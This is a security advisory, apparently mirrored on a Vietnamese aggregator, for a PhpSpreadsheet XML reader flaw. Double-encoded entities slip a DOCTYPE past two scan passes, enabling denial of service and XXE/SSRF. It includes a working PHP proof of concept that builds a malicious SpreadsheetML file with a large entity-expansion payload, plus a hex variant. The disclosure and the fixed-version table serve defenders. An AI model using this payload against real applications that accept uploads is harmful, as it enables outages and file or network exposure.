CVSS 8.8 HIGH Lộ dữ liệu

PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service

Mã khác
GHSA-rxj4-h86g-25gc
Công bố
Cập nhật
Lần đầu thấy
Nguồn
GitHub Advisory, OSV.dev

Mô tả

Summary

The SpreadsheetML XML reader (Reader\Xml) scans file content twice through XmlScanner::scan(), and each scan runs an unentity() callback that calls html_entity_decode() after the pattern check. By double-encoding the < character as &#38;#60;, the first scan decodes &#38; to & (forming &#60;), and the second scan decodes &#60; to < (forming <!DOCTYPE). Neither scan's pattern check detects the <!DOCTYPE string because the callback runs after each check. This enables Denial of Service via entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXML_NOENT is used.

Details

The vulnerability involves an interaction between three code locations:

1. XmlScanner::scan() (XmlScanner.php, lines 87–108) — checks the pattern before the callback:

public function scan($xml): string
{
    $pattern = '/\0*<\0*!\0*D\0*O\0*...\0*/';

    if (preg_match($pattern, $xml)) {       // CHECK 1 (raw)
        throw new Exception('Detected use of ENTITY...');
    }
    $xml = $this->toUtf8($xml);
    if (preg_match($pattern, $xml)) {       // CHECK 2 (UTF-8)
        throw new Exception('Detected use of ENTITY...');
    }
    if ($this->callback !== null) {
        $xml = call_user_func($this->callback, $xml); // DECODE (after checks!)
    }
    return $xml;  // <!DOCTYPE now present, never checked
}

2. Xml::canRead() (Xml.php, lines 79–117) — scans and stores the result:

$data = file_get_contents($filename);
$data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan
// ...
$this->fileContents = $data; // stores partially-decoded content

3. Xml::trySimpleXMLLoadStringPrivate() (Xml.php, lines 120–150) — re-scans the stored content:

$data = $this->fileContents; // already partially decoded
$xml = simplexml_load_string(
    $this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding
);

The double-scan decode chain:

Raw file:       &#38;#60;!DOCTYPE
                         |
1st scan():     pattern check → no match (no "<" character)
                callback → html_entity_decode(&#38;) = &
                         |
Stored:         &#60;!DOCTYPE
                         |
2nd scan():     pattern check → no match (no "<" character)
                callback → html_entity_decode(&#60;) = <
                         |
Parser sees:    <!DOCTYPE ← never detected by either scan

The unentity() callback (Xml.php, lines 54–61) protects five named entities (&amp; &lt; &gt; &quot; &apos;) via Unicode placeholders, but numeric entities (&#38; &#60; &#x26; &#x3C;) are not protected and are decoded by html_entity_decode().

PoC

Save the following as poc_toctou.php in a directory with PhpSpreadsheet installed via Composer:

<?php
require 'vendor/autoload.php';

// Double-encoded: &#38;#60; survives two scan() passes
// 1st scan callback: &#38; → & (forms &#60;)
// 2nd scan callback: &#60; → < (forms <!DOCTYPE)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);

$xml = '<?xml version="1.0"?>' . "\n"
    . '<?mso-application progid="Excel.Sheet"?>' . "\n"
    . '&#38;#60;!DOCTYPE Workbook [' . "\n"
    . '  &#38;#60;!ENTITY big "' . $entity_value . '">' . "\n"
    . ']>' . "\n"
    . '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n"
    . '  xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n"
    . '  <Worksheet ss:Name="Sheet1">' . "\n"
    . '    <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n"
    . '  </Worksheet>' . "\n"
    . '</Workbook>';

file_put_contents('poc.xml', $xml);
echo "File size: " . filesize('poc.xml') . " bytes\n";

$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml();
echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n";
$spreadsheet = $reader->load('poc.xml');
$peak = memory_get_peak_usage(true);

echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";

$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";

Run: php -d memory_limit=512M poc_toctou.php

Expected result: The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).

Hex variant: Replace &#38;#60; with &#38;#x3C; — both are decoded by html_entity_decode().

Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.

Impact
Attack PHP < 8.0 / libxml2 < 2.9 PHP 8.x / libxml2 2.9+
Denial of Service (quadratic blowup) Exploitable Exploitable
Local file read via SYSTEM entity Exploitable Blocked by default
SSRF via SYSTEM entity Exploitable Blocked by default
File read when LIBXML_NOENT is used Exploitable Exploitable

Any application that accepts user-uploaded SpreadsheetML XML files (recognized by the <?mso-application progid="Excel.Sheet"?> processing instruction) and processes them with PhpSpreadsheet's Xml reader is vulnerable.

Điểm và phân loại

CVSS
8.8 HIGH v4.0
Nguồn điểm
GitHub Advisory
Mức độ (theo nguồn)
HIGH
EPSS
0.46%

Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N

Ảnh hưởng

Package Bản bị ảnh hưởng Bản đã sửa
composer phpoffice/phpspreadsheet >= 4.0.0, <= 5.9.0 5.10.0
composer phpoffice/phpspreadsheet >= 3.3.0, <= 3.10.7 3.10.8
composer phpoffice/phpspreadsheet >= 4.0.0, < 5.10.0 5.10.0
composer phpoffice/phpspreadsheet >= 3.3.0, < 3.10.8 3.10.8

Vì sao được giữ

  • CVSS 8.8 >= 8.0

Loại tác động

Lộ dữ liệu
CWE-611; từ khoá "xxe"; từ khoá "ssrf"

Dữ liệu riêng của nguồn

OSV.dev · ID
GHSA-rxj4-h86g-25gc

Tham khảo